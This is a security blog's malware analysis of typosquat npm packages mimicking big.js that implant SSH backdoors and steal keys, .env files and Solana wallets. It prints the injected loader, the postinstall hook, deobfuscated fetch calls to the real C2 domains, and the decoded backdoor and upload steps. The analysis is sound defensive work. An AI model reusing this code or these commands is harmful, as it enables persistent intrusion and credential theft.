big.js Typosquat Campaign Implants SSH Backdoors
Table of Contents
TL;DR
Three malicious npm packages, cjs-biginteger, sjs-biginteger, and bjs-biginteger, typosquat big.js across three throwaway accounts: ca.r.lane.es1.2.6 (~March 20, 2026), vanes.s.p.orit.a (April 7), and a.l.l.a.nh.orca0.7 (~April 9). Each carries a re-obfuscated copy of the same payload. All three inject a five-line loader into big.js at line 605 and pull in a malicious dependency (ts-lint-builds / sjs-lint-build1 / bjs-lint-builder) whose postinstall hook runs the same payload. Either trigger fetches the attacker’s SSH public key from a C2 server, appends it to ~/.ssh/authorized_keys, opens firewall port 22, and then exfiltrates SSH keys, .env files, Solana wallet files (id.json, config.toml), and system fingerprints to two Vercel-hosted C2 domains impersonating Cloudflare.
Impact:
- Implants an SSH backdoor by injecting the attacker’s public key into
~/.ssh/authorized_keys - Opens firewall port 22 via
sudo ufw allow 22/tcpand enables the firewall - Runs
sudo chown -Rto fix SSH directory permissions - Exfiltrates existing SSH keys,
.envfiles,id.json(Solana wallets), andconfig.tomlfiles - Harvests environment variables (
USER,USERNAME,LOGNAME,HOME) - Fingerprints the system (public IP, platform, CPU info, username)
- Targets Linux, macOS, FreeBSD, OpenBSD, SunOS, AIX, and Windows
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | sjs-biginteger@5.0.5, sjs-biginteger@5.0.6 |
| Package | bjs-biginteger@5.0.6 |
| Package | cjs-biginteger@5.0.5 |
| Dependency | sjs-lint-build1@1.0.4 |
| Dependency | bjs-lint-builder@1.0.5, bjs-lint-builders@1.1.0 |
| Dependency | ts-lint-builds@1.0.5 |
| Maintainer | vanes.s.p.orit.a <vanes.s.p.orit.a@googlemail.com> |
| Maintainer | a.l.l.a.nh.orca0.7 |
| Maintainer | ca.r.lane.es1.2.6 |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/ssh-key |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/scan-patterns |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/block-patterns |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/v1 |
| C2 | hxxps://cloudflarefirewall[.]vercel[.]app/api/v1 |
| Postinstall | node test.js (in ts-lint-builds, sjs-lint-build1, bjs-lint-builder) |
| SHA-256 | 55bee3abfa26a78989baae1053a778d3b4a984d5451621a851211a45fe2a82b9 (sjs-biginteger@5.0.5) |
| SHA-256 | 02a00a158ceedaaf7a4bf53002a74d60339d4668d463831fe218905816b72e07 (sjs-biginteger@5.0.6) |
| SHA-256 | 9d2037fc0ad9ada672d30e17a9496cbde392c5093a9fde0b8f16d28e2e0c50c7 (sjs-lint-build1@1.0.4) |
| SHA-256 | 7bff4518f4d49ddf3d04d8167a6f5f17aed9b3703290f65cf71c61ea61f0a7bc (bjs-biginteger@5.0.6) |
| SHA-256 | aa36d4bee44ee1d35af0e211e8cca957044c782b177787b1181d18d6d6323037 (bjs-lint-builder@1.0.5) |
| SHA-256 | f4914c528cf92a7e97ac3b24138afb86b4cd9db6960d92ffbbff36a1fb90ead9 (bjs-lint-builders@1.1.0) |
| SHA-256 | fc095d3e6a613e27d267d80b448101ef78b02ec07dd3993c734202839015fb54 (cjs-biginteger@5.0.5) |
| SHA-256 | 86f60a2196c3d1355efdcfee41f1549c30c6081bf6c106d11e44a64691f8ebd3 (ts-lint-builds@1.0.5) |
| Backdoor | Attacker’s SSH key appended to ~/.ssh/authorized_keys |
| Firewall | sudo ufw allow 22/tcp, sudo ufw enable |
| Attacker SSH key | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY support@polymarket.com |
| Attribution | Likely linked to the dev-protocol / Polymarket bot campaign (StepSecurity, Feb 2026) |
Analysis
Package Overview
Two versions landed on npm within 40 minutes on April 7, 2026: 5.0.5 at 19:32 UTC and 5.0.6 at 20:13 UTC. The publisher vanes.s.p.orit.a owns two packages total: sjs-biginteger and sjs-lint-build1.
The attacker copied big.js metadata verbatim: author name (Michael Mclaughlin), repository URL, homepage, bug tracker, and funding links:
"author": { "name": "Michael Mclaughlin", "email": "M8ch88l@gmail.com"},"repository": { "type": "git", "url": "https://github.com/MikeMcl/big.js.git"}The npm registry shows the real publisher:
npm view sjs-biginteger maintainers# vanes.s.p.orit.a <vanes.s.p.orit.a@googlemail.com>We downloaded big.js@7.0.1 from the npm registry and diffed it against the malicious file. Past the whitespace and indentation churn (consistent with a formatter pass), only one change is semantic: five lines at line 605 of the top-level IIFE body.
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js603a605,609> try {> const doc = require("sjs-lint-build1");> doc.from_str().then(e => { }).catch(e => { })> } catch (error) {> }This injection runs at import time. It gives the attacker a second execution trigger independent of the postinstall hook: any application that later does require("sjs-biginteger") fires the payload again.
Diffing sjs-biginteger@5.0.5 against 5.0.6 (diff -rq v5.0.5/package v5.0.6/package), big.js, big.mjs, LICENCE.md, and README.md are byte-identical across both versions. Only package.json changed:
"sjs-lint-build1": "file:../module-npm-doc-build-v2.1""sjs-lint-build1": "^1.0.4"5.0.5 referenced the payload dependency via a local filesystem path (a leftover from the attacker’s development environment), so it failed to resolve on any victim machine. 5.0.6, published 41 minutes later, is the operative version.
Execution Trigger
sjs-biginteger declares a single dependency:
"dependencies": { "sjs-lint-build1": "^1.0.4"}sjs-lint-build1 appeared one minute before sjs-biginteger, from the same account. Its package.json:
{ "name": "sjs-lint-build1", "version": "1.0.4", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "form-data": "^4.0.0", "os": "^0.1.2" }}npm install sjs-biginteger resolves sjs-lint-build1, installs it, and fires the postinstall hook: node test.js. The 7.2 KB test.js imports from index.js (58.4 KB) and calls the exported from_str_2 function:
// sjs-lint-build1/test.js (deobfuscated structure)const { from_str_2 } = require('.');async function main() { try { await from_str_2(); } catch (e) {}}main();index.js exports two entry points, both triggering the same payload infrastructure with slightly different scopes:
| Export | Caller | Scope |
|---|---|---|
from_str_2 | test.js postinstall | Broad home-directory scan driven by C2-supplied patterns |
from_str | big.js IIFE at require() time | Targeted scan of process.cwd() plus the same broad scan |
The runtime path (from_str) adds a pre-step that walks the current working directory for id.json, config.toml, Config.toml, env, and .env before the broad scan runs. This catches developers who import the package during local development. Whatever project they are working on, its .env goes out first.
Obfuscation
Both files use a custom base91-like string encoding with 35 distinct shuffled alphabets. Each function body embeds its own alphabet and decoder; no single key decodes all strings. The lookup table in index.js holds 299 encoded entries resolved through multiple decoder functions at runtime.
Sample obfuscation:
// sjs-lint-build1/index.js (original obfuscated form)const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];function HRKFas(PzH00eY) { var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>..."; // base91 decode using shuffled alphabet}We replayed the basE91 decoder in Python against the shared lookup table, pairing each call site with the 91-character alphabet nearest to it in source order. About a hundred unique entries decode to meaningful identifiers: URLs, shell commands, property names, file paths. That is enough to reconstruct the full attack surface without running a line of the package.
Malicious Payload
The payload in index.js imports six Node.js modules:
// sjs-lint-build1/index.js (extracted require() calls)require('axios');require('child_process');require('form-data');require('fs');require('os');require('path');Phase 1: C2 Configuration Fetch
Three parallel fetch() requests fire at startup:
// sjs-lint-build1/index.js (deobfuscated)const [r1, r2, r3] = await Promise.all([ fetch('https://cloudflareinsights.vercel.app/api/ssh-key'), fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'), fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),]);const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);The msg field from /api/ssh-key carries the attacker’s public SSH key. scanPatterns and blockPatterns control which directories to enumerate and which to skip. The payload fetches this configuration from C2 at runtime, so the attacker can retarget victims without republishing the package. A new exfiltration pattern takes effect on the next install.
During analysis on 2026-04-09 the endpoint was live and returned:
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY support@polymarket.com" }The key comment support@polymarket.com is deliberate social engineering. A Solana developer inspecting ~/.ssh/authorized_keys during a routine audit may mistake it for a Polymarket support integration and leave it in place. That is the profile the operator wants.
Phase 2: SSH Backdoor Implantation
The payload checks for ~/.ssh, creates it if missing, and appends the attacker’s key to authorized_keys:
// Decoded strings from index.js showing SSH backdoor logic[0x9b] HOME[0x9c] /.ssh[0x9d] existsSync[0x9e] mkdirSync[0x9f] mode[0xa2] authorized_keys[0xa6] appendFileSync[0xa7] sudo chown -R[0xa8] sudo ufw enable[0xab] sudo ufw allow 22/tcpThe code path:
- Read
process.env.HOMEand append/.ssh - Create the directory with
fs.mkdirSyncif it doesn’t exist (with appropriate mode) - Append the attacker’s SSH key (fetched from C2) to
authorized_keysviafs.appendFileSync - Run
sudo chown -Rto fix ownership of the SSH directory - Run
sudo ufw allow 22/tcpto open the SSH port through the firewall - Run
sudo ufw enableto activate the firewall rules
CI/CD environments and Docker containers run as root or with passwordless sudo. If those sudo calls succeed, the attacker has persistent SSH access.
Phase 3: Data Collection
The payload branches on process.platform, covering six Unix variants (linux, darwin, freebsd, openbsd, sunos, aix) and Windows:
// Windows-specific decoded strings[0x84] wmic logicaldisk get name[0x8b] ^[A-Z]:$[0x90] C:\Users\On Windows, wmic logicaldisk get name enumerates drives, then the payload walks C:\Users\ for credential files. On Unix, os.homedir() sets the starting point.
Targeted files:
| Target | Decoded String |
|---|---|
| SSH keys | /.ssh directory contents |
| Environment files | .env |
| Solana wallet | id.json |
| Application config | config.toml, Config.toml |
| Env variables | USER, USERNAME, LOGNAME, HOME |
| System info | os.homedir(), os.cpus(), public IP |
The payload walks directories with fs.readdirSync (withFileTypes) and path.join, following the scanPatterns and blockPatterns from the C2.
Phase 4: Exfiltration
The payload uploads collected files via axios.post to two endpoints:
// Decoded exfiltration strings[0xc4] basename[0xc5] file.bin[0xc6] post[0xc8] Content-Type[0xc9] application/octet-stream[0xca] Content-Disposition[0xcb] attachment; filename="[0xd7] https://cloudflarefirewall.vercel.app/api/v1[0x124] https://cloudflareinsights.vercel.app/api/v1Each file goes out as binary application/octet-stream with a Content-Disposition header. Each upload also carries a metadata block:
// Exfiltration metadata fields[0xf8] username[0x100] created[0x101] publicIp[0x102] platform[0xff] stringify[0xfe] metaThe payload JSON-serializes the username, public IP, platform, and a timestamp, then attaches that block to every upload. Two C2 domains give the attacker redundancy: cloudflareinsights[.]vercel[.]app and cloudflarefirewall[.]vercel[.]app.
C2 Infrastructure
Two Vercel-hosted domains, both named to pass casual inspection of network logs:
| Domain | Role |
|---|---|
cloudflareinsights[.]vercel[.]app | Configuration delivery (/api/ssh-key, /api/scan-patterns, /api/block-patterns) and data exfiltration (/api/v1) |
cloudflarefirewall[.]vercel[.]app | Secondary exfiltration endpoint (/api/v1) |
Vercel’s free tier requires no identity verification, making it a common choice for throwaway C2 infrastructure. The cloudflareinsights and cloudflarefirewall names mimic legitimate Cloudflare products.
Attribution
The sjs-biginteger behaviour overlaps heavily with the dev-protocol / Polymarket trading bot supply chain attack that StepSecurity documented on 2026-02-26. The indicators below point to a follow-on wave run by the same operator or a close collaborator. Static artefacts alone cannot prove operator identity.
| Indicator | This campaign (sjs-biginteger, 2026-04-07) | StepSecurity wave (2026-02-26) |
|---|---|---|
| Typosquat target | big.js | big.js (ts-bign), bignumber.js (big-nunber) |
| Dropper → payload | sjs-biginteger → sjs-lint-build1 | ts-bign → lint-builder, big-nunber → levex-refa |
| Execution trigger | postinstall: node test.js | postinstall: node test.js |
| Entry export | from_str() | from_str() |
| SSH backdoor sequence | sudo chown -R, sudo ufw enable, sudo ufw allow 22/tcp | Identical |
| Targeted files | id.json, config.toml, Config.toml, .env, env | id.json, config.toml, Config.toml, .env, *.env |
| Commander C2 | cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns,ssh-key} | cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns} |
| File-exfil C2 | cloudflarefirewall[.]vercel[.]app/api/v1 | cloudflareguard[.]vercel[.]app/api/v1 |
| Exfil metadata | username prepended to file | username@localIP prepended to file |
| Persona | support@polymarket.com in attacker SSH key comment | Delivered via “Polymarket copytrading bot” GitHub repos |
The commander host cloudflareinsights[.]vercel[.]app is reused byte-for-byte across both waves, and every endpoint path (/api/v1, /api/scan-patterns, /api/block-patterns) matches. The file-exfil hostname rotated (cloudflareguard → cloudflarefirewall) but kept the same naming pattern: a Vercel subdomain impersonating a Cloudflare product.
Two things changed between waves:
- Delivery vector. The February wave was seeded through the hijacked
dev-protocolGitHub organisation; this one is a direct npm typosquat published by a throwaway account. This fits a predictable evolution: after a vector burns, switch channels but keep the payload. - Obfuscator. The February samples used a J2TEAM-style obfuscator;
sjs-lint-build1uses a scope-nested basE91 scheme with 35 distinct alphabets inindex.js, each scoped to its own function body. This likely evades signatures trained on the earlier samples.
The sjs-lint-build1 package name is also notable: it echoes the earlier lint-builder payload name. Package naming is not being randomised between waves — the operator appears to be iterating on a convention.
Hunting pivot. Any package that contacts cloudflareinsights[.]vercel[.]app should be treated as part of this cluster regardless of its npm metadata. The support@polymarket.com SSH key comment is a durable host-based IoC worth alerting on across Solana developer fleets.
Parallel Wave: bjs-*
A second wave surfaced approximately two days after the sjs-* packages from a different throwaway account: a.l.l.a.nh.orca0.7. The pattern is identical: bjs-biginteger@5.0.6 typosquats big.js and pulls in bjs-lint-builder@1.0.5.
The dropper package.json copies the same big.js metadata verbatim (author, repository, version 5.0.6, ^1.0.4 dependency range). The big.js injection at line 606 is byte-identical except for the dependency name:
// diff sjs-biginteger-5.0.6/big.js bjs-biginteger-5.0.6/big.js606c606< const doc = require("sjs-lint-build1");---> const doc = require("bjs-lint-builder");The payload packages (bjs-lint-builder@1.0.5 and bjs-lint-builders@1.1.0) declare the same four dependencies (axios, child_process, form-data, os) and fire the same postinstall: node test.js hook. Both payload packages are byte-identical: same index.js (63,658 bytes), same test.js. Publishing two copies of the payload gives the attacker a fallback if one gets taken down.
The payload itself was re-obfuscated. Variable names, encoded string tables, and basE91 alphabets differ from the sjs-* versions. The index.js grew from 58.4 KB to 63.6 KB. But the structure is unchanged: scope-nested basE91 decoding, the same from_str / from_str_2 export convention, and the same require(".") resolution in test.js.
| Property | sjs-* wave | bjs-* wave |
|---|---|---|
| Dropper version | 5.0.6 | 5.0.6 |
| big.js injection | Line 606, require("sjs-lint-build1") | Line 606, require("bjs-lint-builder") |
| Export called | doc.from_str() | doc.from_str() |
| Payload deps | axios, child_process, form-data, os | Identical |
| Postinstall | node test.js | node test.js |
| Payload size (index.js) | 58,387 bytes | 63,658 bytes |
| Encoded string count | ~433 | ~405 |
| Publisher | vanes.s.p.orit.a | a.l.l.a.nh.orca0.7 |
| Payload copies | 1 (sjs-lint-build1) | 2 (bjs-lint-builder, bjs-lint-builders) |
The account naming pattern (dotted strings resembling obfuscated names) and the package naming convention ([prefix]-biginteger → [prefix]-lint-build*) are consistent across both waves. The operator is rotating publisher accounts while reusing the same toolchain.
Earlier Wave: cjs-*
A third wave predates both sjs-* and bjs-*. Account ca.r.lane.es1.2.6 published cjs-biginteger@5.0.5 and its payload dependency ts-lint-builds@1.0.5 approximately March 20, 2026, roughly two weeks before the sjs-* packages.
The dropper is structurally identical: same big.js metadata spoofing, same five-line injection at line 606 calling doc.from_str(), same postinstall: node test.js hook, same four payload dependencies (axios, child_process, form-data, os). The only big.js diff:
// diff sjs-biginteger-5.0.6/big.js cjs-biginteger-5.0.5/big.js606c606< const doc = require("sjs-lint-build1");---> const doc = require("ts-lint-builds");Two differences stand out from the later waves:
Different obfuscator. The sjs-* and bjs-* payloads use a basE91 scheme with scope-nested alphabets. The cjs-* payload uses a Function() constructor wrapper with generator functions (function*) and switch/while control-flow flattening. The index.js is 189 KB (vs 58-64 KB for the later waves), test.js is 27 KB (vs ~7 KB), and the encoded string table holds 712 entries (vs 405-433). This is consistent with an obfuscator rotation between waves.
Payload name breaks the prefix convention. cjs-biginteger depends on ts-lint-builds, not cjs-lint-build*. The later waves tightened the naming: sjs-biginteger → sjs-lint-build1, bjs-biginteger → bjs-lint-builder. The operator refined the pattern after the first wave.
| Property | cjs-* wave (~Mar 20) | sjs-* wave (Apr 7) | bjs-* wave (~Apr 9) |
|---|---|---|---|
| Dropper version | 5.0.5 | 5.0.6 | 5.0.6 |
| Payload dependency | ts-lint-builds | sjs-lint-build1 | bjs-lint-builder |
| Obfuscator | Generator + control-flow flattening | basE91, scope-nested alphabets | basE91, scope-nested alphabets |
| Payload size (index.js) | 189,399 bytes | 58,387 bytes | 63,658 bytes |
| Encoded string count | ~712 | ~433 | ~405 |
| Publisher | ca.r.lane.es1.2.6 | vanes.s.p.orit.a | a.l.l.a.nh.orca0.7 |
The progression from cjs-* to sjs-*/bjs-* shows an operator iterating on their toolchain: switching obfuscators, shrinking payload size, and standardizing package naming conventions across waves.
Dynamic Analysis
We run eBPF-based dynamic analysis during sandboxed npm install, capturing syscall events and network connections. Sandbox execution of sjs-biginteger@5.0.6 confirmed both behaviors found in static analysis.
Syscall Events
Two rules triggered during the postinstall hook. The process chain sh -c node test.js matches the sjs-lint-build1 postinstall script, running as root inside the sandbox container:
| analysis_id | rule | output | created_at | |
|---|---|---|---|---|
| 1 | 01KNMSKJEXTGQHBQ69YS5CCQ08 | Read ssh information | 2026-04-07T20:21:48.007131140+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh pcmdline=sh -c node test.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> | April 7, 2026, 8:21 PM |
| 2 | 01KNMSKJEXTGQHBQ69YS5CCQ08 | Adding ssh keys to authorized_keys | 2026-04-07T20:21:47.984674590+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> | April 7, 2026, 8:21 PM |
“Adding ssh keys to authorized_keys” fired at 20:21:47 UTC when node test.js opened /root/.ssh/authorized_keys via the openat syscall, confirming the appendFileSync call found in static analysis. “Read ssh information” fired 23 milliseconds later when the same process read the /root/.ssh directory for exfiltration.
Note the ordering: the payload writes the attacker’s key first, then reads existing keys. Backdoor before exfiltration.
Network Connections
The sandbox captured all outbound IP connections during the npm install lifecycle, including legitimate npm registry traffic alongside malicious C2 communication:
| created_at | analysis_id | ip_address | port | |
|---|---|---|---|---|
| 1 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 0 |
| 2 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.8.34 | 0 |
| 3 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.11.34 | 0 |
| 4 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.4.34 | 0 |
| 5 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.2.34 | 0 |
| 6 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.10.34 | 0 |
| 7 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.5.34 | 0 |
| 8 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.9.34 | 0 |
| 9 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.7.34 | 0 |
| 10 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.1.34 | 0 |
| 11 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.3.34 | 0 |
| 12 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.0.34 | 0 |
| 13 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 14 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 15 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 16 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 17 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 18 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 19 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 20 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 21 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 22 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 23 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 24 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 25 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 26 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 27 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 28 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 0 |
| 29 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.3 | 0 |
| 30 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 0 |
| 31 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.67 | 0 |
| 32 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 443 |
| 33 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 443 |
| 34 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 0 |
| 35 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.67 | 0 |
| 36 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 443 |
| 37 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 0 |
| 38 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.3 | 0 |
| 39 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 443 |
This table contains all connections during install, not just malicious traffic. npm registry resolution, DNS lookups, and package downloads generate their own connections. The 104.16.x.34 range belongs to Cloudflare, which fronts both Vercel (the C2 host) and the npm registry (registry.npmjs.org). Separating C2 traffic from legitimate npm traffic by IP alone is not possible since both route through Cloudflare. The 64.29.17.x and 216.198.79.x addresses could be DNS resolvers or additional CDN edges.
The network data does show that the install made HTTPS connections (port 443) to Cloudflare-fronted services beyond what a normal big.js install requires. A package with zero runtime network dependencies generating 15+ outbound HTTPS connections stands out. Combined with the syscall events showing SSH file access, the connection volume matches the multi-phase attack: configuration fetch, file collection, upload.
Conclusion
The authorized_keys injection, firewall manipulation, and ownership changes establish persistent remote access that survives credential rotation unless you remove the injected key. If you installed this package:
- Check
~/.ssh/authorized_keysfor unrecognized keys and remove them - Review firewall rules for unexpected port 22 allowances
- Rotate all SSH keys and credentials stored in
.env,id.json, andconfig.tomlfiles - Audit CI/CD systems where the package may have been installed with elevated privileges
References
- vet
- malware
- npm
- supply-chain
- credential-theft
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Bitwarden CLI Supply Chain Compromise
A technical writeup of the malicious `@bitwarden/cli@2026.4.0` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and...

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

Malicious Pull Requests: A Threat Model
A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1...

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
